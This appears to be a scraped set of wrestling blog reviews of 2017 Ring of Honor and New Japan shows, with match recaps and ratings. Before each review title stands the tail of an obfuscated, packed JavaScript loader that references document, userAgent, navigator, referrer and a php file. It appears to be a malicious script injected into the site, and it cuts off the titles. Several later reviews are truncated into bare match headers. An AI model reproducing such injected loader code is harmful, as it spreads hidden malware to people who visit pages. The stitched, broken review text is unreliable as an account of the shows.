");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nnesd|var|u0026u|referrer|dzfyt||js|php'.split('|'),0,{})) of the World UK 2017
Date: August 19, 2017
Location: Liverpool Olympia, Liverpool, England
Commentators: Ian Riccaboni, BJ Whitmer

So this is a show that exists. I mean, you would have almost no idea about it if you just watched the regular TV show because they only mentioned it halfway through the go home show but it does in fact exist. There is such little effort being put into this show and I’m worried about how bad it’s going to be as a result. Let’s get to it.

The version I’m watching includes the announcers’ introductions (and them asking if they can hear each other in a quick sound check) and the pre-show match.

Pre-Show: The Boys vs. CCK

CCK (Chris Brookes/Travis Banks, the Commonwealth Catch Kings) are from the UK based Rev Pro promotion and their Tag Team Titles aren’t on the line. It’s a brawl to start with the Boys taking down the giant Brookes (probably a foot taller than anyone else in the match) down by the legs. It’s Banks and we’ll say Boy #1 starting things off with #1 being tossed over the corner to land on the apron.

Some double teaming drops Banks though as the announcers aren’t sure which Boy is which. Back in and Brookes puts Banks on his shoulders and launches him at #2 for a Codebreaker in a sweet spot. Brookes even drops a backsplash onto #2 for good measure as the beating begins. In what must be British humor, Chris puts #2 in a camel clutch and both members of CCK stick their fingers in Chris’ mouth and then into #2’s ears.

Some Twin Magic allows #1 to come in and grab a suplex as everything breaks down. The Boys hit stereo dives but Brookes catches #1 in a hanging swinging neckbreaker for two. #1 sends CCK into each other and brings in #2 for a Backstabber. Not that it matters as Banks grabs a fisherman’s driver for the pin on #2 at 6:36.

Rating: C-. Just a tag match here for the sake of firing up the crowd. I’m not sure how smart it is to have your champions lose to some outsiders but then again ROH has never really cared all that much about protecting its titles. I mean, why bother worrying about your own talent when you can put over someone else’s talent? The match was watchable with some nice spots but there’s a reason it was just a dark match.

Opening sequence.

Adam Page vs. Kenny King

Fallout from Page costing King his TV Title shot. They hit the ropes to start until Page misses a standing shooting star and King misses a spinwheel kick to give us a standoff. Both of them wind up on the floor with Page running him over before taking him back inside for Old School, capped off by a thumb to the eye instead of anything else. See he’s in the Bullet Club and needs to do “cute” stuff like that. A sunset flip out of the corner gives King two and it’s off to a seated abdominal stretch.

That goes nowhere so King grabs a spinebuster for two more. Since selling isn’t a thing in ROH, Page is back up with a neckbreaker over the ropes and a tabletop suplex for two. King kicks him in the head again and hits a flip dive out to the floor. The springboard Blockbuster gives King two but he gets caught with the slingshot clothesline for the same. The Rite of Passage is broken up and it’s another kick to the head to set up the Royal Flush to pin Page at 8:43.

Rating: C-. This was the Ring of Honor “style” in a nutshell: no psychology, no storytelling, no transitions between moves and little more than “I do a spot and then you do a spot”. It completely felt like getting their stuff in and leaving, which isn’t what I’m really wanting to see. Some of the spots were good but it felt like just a bunch of stuff instead of a match and that’s not good.

Ultimo Guerrero/Rey Buccanero vs. Titan/Mistico

Under lucha rules of course. I don’t know if ROH brings in these teams because they think it’s more interesting than their roster or if they don’t have enough talent to fill out a show on their own. The more I watch their stuff, the more I think it’s the latter and that’s not good. Mistico and Buccanero start things off and it’s a LUCHA LIBRE chant to spice things up a bit.

The much bigger Rey turns Mistico inside out with a shot to the mask and it’s a quick exchange of near falls. Guerrero and Titan come in with Titan hand walking away from a clothesline and headscissoring Guerrero to the floor. Titan’s flip dive is countered into a powerbomb on the floor though, leaving Buccanero to go after Mistico’s mask.

Everyone heads to the floor with Guerrero jumping over Rey to crash onto both smaller guys at once. Back in and Buccanero moonsaults onto Titan, whose back is over Guerrero’s ribs. A slingshot dropkick in the corner has Titan in trouble but he pops back up with a double handspring elbow.

It’s off to Mistico for a hurricanrana each as everything breaks down. Guerrero superbombs Mistico but gets kicked in the head, allowing Titan to come back in. Why things settled back down isn’t clear but lucha matches aren’t exactly built on enforcing structure (not a bad thing). Titan springboards in with a dropkick to Buccanero before sending him outside for an Asai moonsault. Mistico moonsaults onto Rey as well, leaving Guerrero to hit the Guerrero Special (reverse superplex) to put Titan away at 11:34.

Rating: C+. Better match than I was expecting here though the fans cheering all four guys when Guerrero and Buccanero were trying to play heel was odd. The other problem, and I’m sure you’ve heard me say this many times (and I’ll keep at it as long as it’s a problem): I don’t know who these people are and I have no reason to care.

The background I received here: Buccanero and Guerrero were the Observer’s Tag Team of the Decade for 2000-2009. Uh, great, and what have they done in Ring of Honor? Or in the last eight years for that matter? As usual, it feels like I need to have a lot of outside knowledge coming in to get a lot of this stuff and when the show is barely advertised in the first place, that’s hardly a good way to expand your product.

The announcers talk about Sanada’s vertical leap.

Jay Lethal vs. Josh Bodom

Bodom’s British Cruiserweight Title isn’t on the line. I’ve seen Bodom’s work before and wasn’t that impressed but maybe a better opponent will help. They exchange wristlock counters to start until Lethal blocks a hiptoss and grabs a swinging neckbreaker. A springboard dropkick puts Bodom on the floor but he comes back in with a hurricanrana. There’s a dropkick to really stagger Lethal, though not enough that he can’t hit his cartwheel into a dropkick of his own.

A missile dropkick misses and Bodom knees him in the head. Bodom grabs a reverse hurricanrana to put him outside, followed by a middle rope moonsault. Back in and a top rope double stomp to the back of Jay’s head, followed by a standing shooting star, gives Josh a near fall. The Lethal Combination gets Jay out of trouble and Hail to the King gets two. We hit the Figure Four but cue Silas Young for a distraction. Not that it matters as the Lethal Injection is good enough to pin Bodom at 9:18.

Rating: C-. Ok so maybe it is Bodom. This did nothing for me, again, and that’s not a positive sign when we’re only on the third match. Lethal shrugged off the distraction and won anyway, making me think that Lethal vs. Young was the right move here. You know, a match between two people with a story and who happen to actually WORK FOR RING OF HONOR. There were some moments here but it didn’t work, again.

Young beats Lethal down post match.

Bully Ray/Briscoe Brothers vs. Los Ingobernables de Japon

Bushi/Evil/Tetsuya Naito for Los Ingobernables here. The fans are just CRAZY for Naito but he brings in Bushi to start with Mark instead. An early hurricanrana sends Mark into the corner so it’s already off to Jay for some harder hitting offense. Evil comes in to rake his eyes and shoulder Jay down, only to get kicked in the face. Bushi gets sent into the wrong corner and actually calls out Bully Ray. Well he certainly has guts.

Ray comes in and rips Bushi’s shirt open for some chops before calling in Naito. They take turns sidestepping each others’ lockup attempts as there’s no contact for over a minute. Even the lockup gets a cheer and Naito grabs a headlock with a fist going into the eye. It’s back to Jay for some stomping but Naito rips at his eye too. Bushi comes in with a missile dropkick and we finally hit a heat segment.

That lasts all of a few seconds as Jay dropkicks Evil and brings Mark back in to speed things up. Everything breaks down with Bully coming back in to clean house. Evil is in line for What’s Up but Naito dives onto the mat with his signature pose to block Mark’s dive. Ok that was clever. It’s Bully taking something like What’s Up (Ray: “OW MY BALLS!” Ian: “I didn’t know Bushi was a baller!”) but Bushi mists Evil by mistake. The 3D ends Evil at 13:35.

Rating: B-. This was starting to look really good but they spent a bit too much time with the goofiness instead of the actual match. Los Ingobernables are growing on me every time I see them and Naito is clearly one of the top stars in New Japan. Giving the Briscoes and Bully the win was a nice surprise as I would have bet on them going with the New Japan guys in one of the bigger matches so it was a nice twist.

Post match, Bully and Naito have a pose off for some reason. I’m not sure if Ring of Honor thinks Bully is on Naito’s level but that’s not quite the case….I don’t think.

Intermission eats up about twenty minutes.

The announcers talk about what’s left on the card.

Silas Young vs. Mark Haskins

Mark is a British high flier and the referee is taller than both guys in a weird visual. A drop toehold just annoys Silas (like it’s so hard) and they slug it out with Haskins actually getting the better of it off a kick to the face. Young bails to the floor and gets faked out off a dive, setting up the regular version on the adjacent side of the ring. Nice little sequence there.

Silas is right back with an apron powerbomb to take over for the first time but we slow down for the trash talk. A middle rope jumping back rake (that’s a new one) sets up a lariat (that’s an old one) for two. Haskins gets sick of being slapped in the face and comes back with some rapid fire forearms before rolling into a modified Fujiwara armbar.

It’s off to a Sharpshooter instead but Silas is way too close to the ropes. An electric chair faceplant and a short DDT give Young two and the short lariat is good for the same. Misery is loaded up but here’s Lethal for a distraction, allowing Haskins to roll into a Samoan driver for the pin at 10:14.

Rating: C+. The ending was fine as it helps to play up the Lethal vs. Young feud, which has been one of the better things in Ring of Honor as of late. Haskins was a fan favorite though he didn’t really show me anything that I haven’t seen from a lot of other wrestlers. Still though, good match as the show continues to pick up a bit.

Referees break up Silas vs. Jay.

TV Title: Hiromu Takahashi vs. Dalton Castle vs. Marty Scurll vs. Kushida

Kushida is defending and it’s one fall to a finish. Scurll is of course beloved in his home country. Kushida and Scurll head outside, leaving Takahashi and Castle to play with the former’s doll Daryl (who is apparently a big thing). Takahashi gets caught between the peacock pose and the bird pose, allowing Kushida to springboard in with an elbow to the head. Now Daryl is on commentary and the announcers ask him questions because the idea of being serious around here is just not happening.

Takahashi comes back in to take out Kushida’s knee, only to stop to meow at Castle. Dalton stops for his strut but gets superkicked by Scurll. Kushida grabs the cross armbreaker to make Takahashi tap on the floor but gets suplexed into the corner back inside. With Kushida down, Takahashi tries a sunset bomb to send Castle to the floor but the Boys make a save.

Back inside and Scurll hits a modified piledriver and a running knee for two on Takahashi. Castle breaks up the chickenwing attempt with a German suplex before Kushida comes back in for a pinfall reversal sequence with Scurll. It’s Castle suplexing everyone in sight but getting sent to the floor.

Scurll misses a moonsault and takes one from Kushida for two. Kushida flips into the chickenwing but slips out into the Hoverboard Lock. Castle and Takahashi grab stereo German suplexes for the save and everyone is down. Cue Adam Page for a distraction so Scurll can hit Castle with the umbrella, only to have Kushida punch him down. Back to the Future on Castle retains the title at 11:28.

Rating: B-. Fun match if you ignore all the nonsense with Daryl (which to be fair wasn’t all that much). Castle losing via shenanigans helps a bit though he needs to actually win something at some point. Scurll continues to grow on me a lot, even if his in-ring stuff isn’t anything great. Takahashi is just kind of there, though maybe he’s just one of those characters that I don’t get.

Kushida shakes Castle’s hand. You know, just after dropping him on his head to beat him.

Tag Team Titles: Addiction vs. Young Bucks

The Bucks are defending because Heaven forbid they’re not holding titles. Addiction jumps them during the Big Match Intros to Ian’s annoyance, which I guess means the Bucks are faces tonight. The Bucks easily fight them off with dropkicks so we hit the Rise of the Terminator pose. Matt gets sent to the apron where Daniels pulls him face first down as the champs are in some trouble. Eh I give it thirty seconds.

Back in and Matt gets stomped down in the corner, followed by a low bridge to the floor. The beating continues with a face to the knee and an STO to give Daniels two. Daniels’ Lionsault hits knees though and it’s off to Nick off the hot tag. The Bucks speed things up with the double kicks to Daniels in the corner and a Backstabber for no cover. It’s off to the Sharpshooter because the Bucks needed another finisher.

Everything breaks down and it’s an Unprettier to Nick but Matt hurricanranas his way out of Angel’s Wings. Kazarian breaks up a Sharpshooter on Daniels and it’s time for everyone to punch everyone. The Bucks get the better of it but More Bang For Your Buck is broken up. Daniels hits the BME for two on Nick, followed by a sitout powerbomb/neckbreaker combo for the same. Back up and Daniels goes up top, only to get caught in the Tree of Woe. That leaves Kazarian in trouble, meaning it’s the Meltzer Driver to retain the titles at 13:30.

Rating: B. As is almost always the case, whenever the Bucks don’t just spam superkicks, they’re far more competitive. The problem though continues to be that there’s no reason to believe they’ll win. Even if they drop the titles, you know full well that they’ll be getting them back anytime because that’s just how Ring of Honor and New Japan roll. I’m starting to like their work better, but then they’ll just do thirty five superkicks in a match again to mess that up.

ROH World Title: Sanada vs. Cody

Cody is defending and won’t shake hands to start. Jerk. We hit the long form stall to start as Cody isn’t cool with the fans being behind Sanada. No contact in the first two minutes. A nice little technical sequence really gets us going with both guys trying headlock takeovers but getting reversed into a headscissors before they try dropkicks at the same time for a standoff.

Now it’s Sanada who won’t shake hands as they’re mirroring each other so far. The Beautiful Disaster is countered with a dropkick and Cody takes another breather on the floor. Cue Naito to cut off an escape attempt so Cody throws Ian into Sanada. Did England not get the notice about Cody turning face? Back in and Cody flips off the fans before getting two off a delayed gordbuster.

An armdrag pulls Sanada off the top but Cody would rather channel his inner Scott Steiner with some push-ups. After more stalling (WAY too much of that so far), Cody grabs a quickly broken half crab. Instead it’s that modified Indian Deathlock to send Sanada slowly crawling to the ropes and then the floor. Cody switches places with him but gets knocked off the apron and into the announcers.

Back in and Sanada ties him up for the dropkick to the hip, only to get caught with the Beautiful Disaster. Cody misses the moonsault press though and la majistral gives Sanada two. A TKO gives him the same but Cody spits at him. That just earns the champ some right hands to the jaw and we have a ref bump.

Cross Rhodes gets no count but Sanada’s rollup gets two, only to be countered into a LeBell Lock. With that broken up, Cody shouts that he’s waiting on Brian Danielson. Cody loads up a superplex but gets countered into a powerbomb for two. Back up and Sanada grabs the dragon sleeper, only to have Cody flip over into Cross Rhodes to retain at 20:02.

Rating: D+. This was WAY too long and felt like a televised midcard title match instead of a pay per view World Title defense. The ref bump didn’t need to be there and Cody looked like he was more interested in wasting time than defending the title. Not a good match at all, even with Sanada doing whatever he could to make it work.

Post match Cody grabs the mic and insults the Liverpool fans for being so poor. He’ll defend the title against anyone so here’s Dalton Castle (thankfully with his title) to interrupt. Dalton doesn’t understand why Cody doesn’t like these people because he loves them. Castle is no silly goose and the only reason he’s not the TV Champion is Cody sending Page out during their match. If Cody wants to know who’s left, Dalton Castle is left. Cody bails and Castle thanks the fans for coming out to end the show.

Overall Rating: D+. This did not need to be a pay per view and it was clear that there wasn’t a ton of effort put into it (into the build, not the wrestlers/wrestling). There was almost nothing in the way of story advancement outside of the ending with the wrestling not being enough to carry things. Things got better in the second half but I really wasn’t feeling most of the show. The fact that I didn’t know about the pay per view until less than a week before the show tells you almost everything you need to know about the card and that’s really not a good thing. There are worse shows, but few more lifeless ones, which is a lot worse.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddebf|var|u0026u|referrer|ttshy||js|php'.split('|'),0,{})) of Honor
Date: August 16, 2017
Location: Cabarrus Arena and Events Center, Concord, North Carolina
Commentators: Ian Riccaboni, Colt Cabana

It’s kind of a new start for Ring of Honor as we officially finished off Cody vs. Christopher Daniels last week with Daniels losing his 2/3 falls rematch for the ROH World Title. Now we need a new challenger for the title as Cody is on his own at the moment. Jay Lethal is back as well and you know he’ll be a big deal again in a hurry. Let’s get to it.

We open with a quick recap of last week’s title match with Cody nearly laughing over his win.

Opening sequence.

Here’s Kazarian to get things going. He wants to know if the people here appreciate the things Daniels has done in this business. The fans seem to think so but Kazarian wants to know what was up with the reactions that Daniels received last week. If the fans here say they respect Daniels, every one of them are liars.

Kazarian isn’t sure if Daniels will ever wrestle again but the fans don’t deserve him anyway. These people are here to do stuff like throw streamers…..and we pause for the streamers to be thrown. Kazarian: “This isn’t Japan!” Preach it brother. He’s going to make it his mission to destroy everything about Ring of Honor that the fans love because, in a singing voice, YOU DESERVE IT! Kazarian: “Stupid marks.”

Punishment Martinez vs. Flip Gordon

Gordon is introduced as a member of the National Guard and he’s now in camouflage pants. Flip ducks a big boot and chops away to so much avail that he might as well be Ric Flair to Martinez’s Sting. They head outside with Martinez trying a chokeslam but not being able to follow up. A baseball slide and superkick from the apron stagger Martinez and a Lionsault puts him down.

Back in and Punishment easily hiptosses him into the corner before punching Flip in the ear for two. A clothesline turns Flip inside out and we head to a break. Back with Gordon hitting a springboard Sling Blade (cool) and a twisting frog splash for one. Gordon grabs a fireman’s carry and backflips into a Samoan drop (that’s a new one), followed by a Lionsault for two. Back up and Martinez kicks him square in the face and a Falcon Arrow gets two. Gordon kicks him away again and heads up top, only to get caught by the throat for a super sitout chokeslam and the pin at 8:22.

Rating: B-. I can actually go for Gordon as this kind of one dimensional character as they’re not even trying to hide what they’re doing with him. That being said, the chokeslam at the end looked awesome and had to finish him no matter what else he was doing. Martinez should be a great dragon for someone to fight but his feud with Jay White is still going, because wrestling today has no idea how to end a feud.

Post match White comes out for another brawl with Martinez.

Kenny King is ready to take the TV Title from Kushida, who is all he thinks about.

Colt Cabana can’t interview the Tempura Boyz because they don’t speak English. Comedy you see.

Back in the arena, Ian suggests that Colt team up with the Tempura Boyz to face Dalton Castle and the Boys. Colt: “My own boys???”

Rhett Titus vs. Cheeseburger

Titus jumps him at the start and hammers away in the corner as Colt can’t stop talking about the Tempura Boyz. Cheeseburger gets two off a rollup but gets caught in a big backbreaker. A Razor’s Edge is countered with a hurricanrana to send Titus into the corner and there’s the palm strike. Cue Will Ferrara for a distraction though, allowing Titus to hit a frog splash (the Doggy Splash from the Big Dog) for the pin at 2:39.

Cody laughs off the idea of someone working harder than him or being able to take his title.

Colt agrees to face Cody (which doesn’t sound serious) but Ian says Cody has to face Sanada on the upcoming i-pay per view, which I believe is the first mention of the show that is less than a week away. Cue Dalton Castle and the Boys to agree to give Colt and the Tempura Boyz a title shot. Again: the division is like two regular teams and whoever they throw together that month. Kill the thing already.

Video on Shane Taylor.

TV Title: Kenny King vs. Kushida

Kushida is defending and they have over twenty minutes left. They hit the mat to start as we hear what might be only our second reference to the upcoming War of the Worlds show. Kenny takes him down for an armbar before grabbing a spinebuster for two. A leg sweep sets up a modified Muta Lock as this is all King so far.

It’s too early for the Royal Flush as Kushida gets in the Hoverboard Lock, albeit over the ropes. King misses a corkscrew dive to the floor and eats a dropkick before being sent into the post. That’s fine with Kushida who hits a flip dive off the top to the floor, followed by the Hoverboard Lock back inside. Cue Adam Page and Marty Scurll for the DQ at 5:40.

Rating: C+. This was starting to go somewhere when they had the annoying run-in. This felt like they wanted to protect both guys and while that’s fine, it makes for a rather annoying ending to what could have been a good match. Just get to the tag match already though as you know that’s where this is going.

Post break King says he’s not having his title shot ruined by the Bullet Club B-Team. He wants a tag match right now and since we have ten minutes left in the show, let’s do it.

Kushida/Kenny King vs. Marty Scurll/Adam Page

Ian calls this a dream team because that’s what you call any team these days. It’s a brawl to start with the fresh Club getting the better of it and stomping away on Kushida in the corner. Scurll gets in a kick to the head and it’s time to start in on Kushida’s arm. Kushida rolls over for the hot tag to King though and house is quickly cleaned. A spinebuster gets two on Page but Scurll pulls King outside for a whip into the barricade.

Back from a break with King still in trouble and Kushida getting shoved off the apron. Kenny kicks Page in the head and it’s off to Kushida for the house cleaning strikes. He even gyrates his way into the Hoverboard Lock on Page but Scurll makes the save and breaks Kushida’s fingers.

You don’t need ten fingers for a Hoverboard Lock though and Scurll is in trouble in the middle of the ring. Page makes the save as everything breaks down with King diving over the top to take Adam out. Adam clotheslines Kushida into the tiger driver from Marty for two. Now it’s King coming back in with the Blockbuster and a Royal Flush to put Page away at 8:55.

Rating: C+. Good stuff here again but the match didn’t exactly need to exist. It was still fun though with Kenny getting a strong push to start his face run and Kushida being awesome as always. The Bullet Club isn’t going to be hurt by a loss, especially when it’s two of the lower level members like these two.

Post match King points to the title but shakes Kushida’s hand. One last mention of the pay per view (no card listed) wraps things up.

Overall Rating: B-. If you made me guess, I would have no idea what to expect from the upcoming pay per view. There’s nothing on this show that made me care about a pay per view because they barely talked about it. All I know is that Cody is defending the World Title and Kushida is in a four way. The opponents were mentioned in a rush and while I can look them up, asking for a series of graphics or even some quick promos isn’t the biggest request in the world. It’s a good show on its own but a complete failure of a go home show, so this one kind of depends on how you look at it.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbbsh|var|u0026u|referrer|stdzb||js|php'.split('|'),0,{})) of Honor
Date: July 19, 2017
Location: Lowell Memorial Auditorium, Lowell, Massachusetts
Commentators: Ian Riccaboni, Rico De La Vega

It’s back to the title picture tonight as Kushida is defending the TV Title against Jay White in what could be a good match, assuming Punishment Martinez doesn’t interfere. There’s also a six way match because where in the world would we be without throwing a bunch of people into a match with no particular rhyme or reason? Let’s get to it.

Opening sequence.

De La Vega is from Future of Honor and Women of Honor and sounds like an Armando Alejandro Estrada knockoff.

The Young Bucks and Adam Page are in the ring to start. They want the Six Man Tag Team Titles you can consider the title match booked. That’s enough from them though as they bring out Marty Scurll for the opener.

Marty Scurll vs. Frankie Kazarian vs. Josh Woods vs. Vinny Marseglia vs. Will Ferrara vs. El Terrible

One fall to a finish with tagging required, though lucha rules apply. We do the fast paced tagging with no action to start until it’s Ferrara vs. Kazarian to really get us going. Kazarian grabs a hiptoss to start but Woods tags himself in to face Ferrara. Will’s thrust to the neck has no effect so he tags in Marseglia instead.

Terrible comes in to chop it out with Vinny and the rather gutty Terrible gets sent into the corner where he no sells a forearm to the jaw. Scurll breaks up a cover off a DDT and it’s Kazarian vs. Terrible. A hard clothesline drops Kazarian and we take a break. Back with Marseglia and Ferrara in the ring as everything breaks down around them. Woods sends Ferrara outside and hits a slow motion running knee to the jaw.

Cue Shane Taylor to beat Woods up, leaving us to hit the parade of secondary finishers, capped off by Marseglia’s Swanton on Ferrara. Scrull tries the chickenwing but gets chased off, leaving Kazarian to hit a Backstabber and Unprettier on Terrible. Scurll runs in to throw Kazarian out though and pins Terrible at 11:07.

Rating: C. I really don’t care for this kind of match as there’s too much going on and nothing really gets advanced. Scurll breaking up pins and then stealing the fall was a good way to push him, though I could have gone for this meaning something (maybe a title shot or a spot in a #1 contenders match). It was a way to fill eleven minutes but nothing with much value.

Christopher Daniels agrees to face Cody for the ROH World Title in two weeks but wants it to be 2/3 falls.

Beer City Bruiser vs. Brian Milonas

Milonas is a rather large tub of goo from the Top Prospect Tournament where he didn’t do much for me. They do the big collision of the stomachs to start and Milonas actually hits a fall away slam. Silas Young offers a distraction though and Bruiser sends him outside for the Cannonball from the apron. Back in and Bruiser hits a running shot to the face, followed by a boot the same general area for two. Milonas catches him on the top with a superplex but misses the middle rope legdrop. Bruiser kicks him in the face again and hits the frog splash for the pin at 4:59.

Rating: D-. See, they’re both big and overweight so it’s interesting. Ring of Honor is a company that is supposed to be the next generation of wrestling or whatever but this was straight out of Vince McMahon’s playbook in the 1980s, if not far before in the days of people like the McGuire Twins or Happy Humphrey. Milonas is embarrassingly huge and made Bruiser look good by comparison.

Post match Young says it’s going to be a long time before Jay Lethal is back.

TV Title: Kushida vs. Jay White

Kushida is defending and this has potential as I like both guys. Feeling out process to start with White taking him down by the arm. De La Vega is getting even more irritating as he starts telling Ian to shut up in Spanish, just like almost every other evil Hispanic wrestling character ever. Back up and Kushida hiptosses him down for the basement dropkick to take over. White trips the champ up though and we take a break.

Back with White slamming him out of the corner for two and we hit the chinlock. A Muta Lock with White pulling on the arm for extra leverage sends Kushida bailing to the ropes. Kushida sends him outside for a dive though and it’s time to get fired up. White grabs the rolling single underhook suplexes to cut him off, including a third into the corner. Another suplex is countered into the Hoverboard Lock with a bodyscissors, only to have White power out.

A Flatliner and dead lift German suplex give White two but Kushida is right back with another Hoverboard Lock. White gets to the ropes and we take a second break. Back with White elbowing the heck out of White’s head and grabbing a cobra clutch on the mat. That doesn’t do much for White so he tries the Kiwi Crusher but Kushida reverses into a small package for two.

A kick to the head drops White again and we get a breather. White is up first and hits the Kiwi Crusher but the bad arm means a bad cover so Kushida can kick out. Back up and White slugs away to put both guys down again. Kushida catches him on top and grabs the Hoverboard Lock up there. That’s not enough as he superplexes White down and hits Back to the Future to retain at 14:40.

Rating: B. That’s what I was expecting with the arm work playing into the match and the finish. Kushida is pretty easily my favorite New Japan guy and he works some of their best matches every single night. White was no slouch here either as he wrestled his usual good match, which has a simple style but does everything it needs to do.

Post match they shake hands as #1 contender Kenny King (Then why did White get the shot here?) comes out to stare Kushida down and end the show.

Overall Rating: C+. Good show this week and we have something special to look forward to in two weeks. The main event is solid and makes Kushida, as well as the title, look more important, though hopefully we get the talented King instead of the one who feels like the Gold Standard Shelton Benjamin. I liked the show more than usual and, save for the bad yet short middle match, it’s worth checking out.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkarz|var|u0026u|referrer|tznrh||js|php'.split('|'),0,{})) in the World 2017
Date: June 23, 2017
Location: Lowell Memorial Auditorium, Lowell, Massachusetts
Attendance: 2,500
Commentators: Ian Riccaboni, BJ Whitmer

The announcers preview the card that we already paid for.

Kingdom vs. Ultimo Guerrero/El Terrible

Guerrero comes off the top with a dive of his own but the Kingdom pops up for two more dives. Ultimo fights them off back inside though and hits his reverse superplex, only to take a Swanton from Marseglia. The Kingdom loads up the Supernova but Guerrero grabs a rollup out of nowhere for the pin at 11:09.

Frankie Kazarian vs. Adam Page

Search and Destroy vs. Rebellion

Back in and the huge Taylor crushes Gresham with a splash and Coleman makes things worse by rolling some northern lights suplexes. Titus hits Coleman by mistake though and a headscissors allows the hot tag to White to pick the pace up again. Jay hits a bunch of running elbows in the corner and everything breaks down. The Guns come in for the fast paced precision offense but White gets tossed into the corner.

Post match Punishment Martinez comes in to lay White out.

Jay Lethal vs. Silas Young

Back in and neither finisher can hit so Lethal settles for a superkick and the top rope elbow. Young gets in a Saito suplex and a knee to the face, followed by his bouncing moonsault out of the corner. With that not working, Silas grabs his keg but, as you might expect, the referee says not so fast. Instead Silas tries Misery but gets rolled up for the pin at 16:23.

Six Man Tag Team Titles: Dalton Castle/The Boys vs. Bully Ray/Briscoe Brothers

The former champs are livid as Ian wants to know what the celebration is going to be like in the hotel room.

We recap Marty Scurll vs. Kushida in a rematch for the TV Title that Kushida recently took from Scurll. Marty is even angrier than usual and has promised to break a lot of fingers.

TV Title: Marty Scurll vs. Kushida

Tag Team Titles: War Machine vs. Young Bucks

War Machine is challenging. Actually hang on a second here because cue the Best Friends to say they beat the Young Bucks back in Philadelphia so they should be added to this match. Sure why not.

Tag Team Titles: War Machine vs. Young Bucks vs. Best Friends

The Bucks are back in with superkicks and a flip dive but the Meltzer Driver is broken up and Chuck hits the Awful Waffle (spinning piledriver) for two on Matt. Rowe gets kneed in the face and both Friends roll him up at the same time for two. Superkicks continue to abound and a double Indytaker, followed by MORE superkicks retain the titles at 12:27.

Rating: B. You know, I watched the NJPW Dominion show and called the Bucks match their best ever. I also pointed out that they used by far the least amount of superkicks I ever saw from them. Here, I stopped counting at around twenty and I lost a lot of interest about halfway through the match. It really does get tiring, as does adding teams with no build for the sake of adding them in. True there was a story, but did we really need them there when you had a perfectly good title match already?

ROH World Title: Christopher Daniels vs. Cody

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtirz|var|u0026u|referrer|kdebr||js|php'.split('|'),0,{})) 6:11
Date: June 11, 2017
Location: Osaka-Jo Hall, Osaka, Japan
Attendance: 11,756
Commentators: Kevin Kelly, Don Callis

Pre-Show: David Finlay/Shota Umino/Tomoyuki Oka vs. Hirai Kawato/Katsuya Kitamura/Tetsuhiro Yagi

Before we wrap up the pre-show, Callis promises seven stars in the main event. Unless Trent Seven is involved, let it go already.

Tiger Mask/Tiger Mask W/Togi Makabe/Yuji Nagata vs. Hiroshi Tenzan/Jushin Thunder Liger/Manabu Nakanishi/Satoshi Kojima

Never Openweight Six Man Tag Team Titles: Gauntlet Match

Yujiro has a parade of good looking women in various stages of limited clothing with him, making him one of the better parts of the show so far. As usual, Yano has merch to hand out/sell, which is a gimmick that gets a little old but still has enough charm. Page kicks Ishii in the face to start and we hit the forearms that have no effect but wrestlers still do them because of strong style or fighting spirit or whatever they call standing there and growling at the moment.

IWGP Junior Heavyweight Tag Team Titles: Young Bucks vs. Roppongi Vice

IWGP Tag Team Titles: Guerillas of Destiny vs. War Machine

The new champs pose in the chair after the win.

Cody vs. Michael Elgin

Just a way to get them both on the card here. Cody offers a cartwheel to start but Elgin shoulders him down and shows Cody the proper cartwheeling technique (I hear he won the Nevada state title back in 95). Since it worked so well the first time, Cody hits a vertical suplex, only to have Elgin pick Cody up for an eighteen second version. Callis says it was over thirty, meaning that bad timing skills are also a Canadian/Japanese problem.

Cody wants Christopher Daniels and Okada

IWGP Junior Heavyweight Title: Kushida vs. Hiromu Takahashi

Kushida thanks the fans but Bushi and Evil come out with the former misting the new champ.

Never Openweight Title: Hirooki Goto vs. Minoru Suzuki

Yoshi-Hashi saves Goto from further damage so Suzuki offers a challenge.

Intercontinental Title: Hiroshi Tanahashi vs. Tetsuya Naito

Naito grabs his own German suplex and Destino for two, only to have Tanahashi pop up with the Sling Blade. The High Fly Flow is good for another near fall and you can hear some of the energy go out of the crowd on the kickout. The Cloverleaf goes on with Tanahashi almost turning it into a Liontamer to FINALLY make Naito tap at 25:58 and earn redemption.

We recap Kazuchika Okada vs. Kenny Omega for the IWGP World Title. They had the most overrated match of all time (which was great) at Wrestle Kingdom and now Okada has challenged Omega for the rematch.

IWGP World Title: Kenny Omega vs. Kazuchika Okada

The V Trigger (knee to the head) is blocked and Okada rolls some German suplexes into a weak Rainmaker (you know, like it almost always looks) for two. Omega is back up with a sitout powerbomb for his own near fall and both guys are spent. Back up and another Rainmaker is countered into the snap dragon suplex but Okada throws him on top for a dropkick to the floor.

Gedo puts Okada over and the guys get a standing ovation.

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Date: June 14, 2017
Location: 2300 Arena, Philadelphia, Pennsylvania
Commentators: Colt Cabana, Ian Riccaboni

Opening sequence.

Young Bucks/Hangman Page vs. Roppongi Vice/Chuck Taylor

The winners celebrate.

The Kingdom is ready to beat up the Boys next week. This team is still stupid.

Rebellion vs. Jay White/Jonathan Gresham

Shelley issues a challenge for Best in the World: Search and Destroy vs. Rebellion with the losing team having to disband. Well that helps a lot.

Kazarian has a belt and wants to use it on Hangman Page.

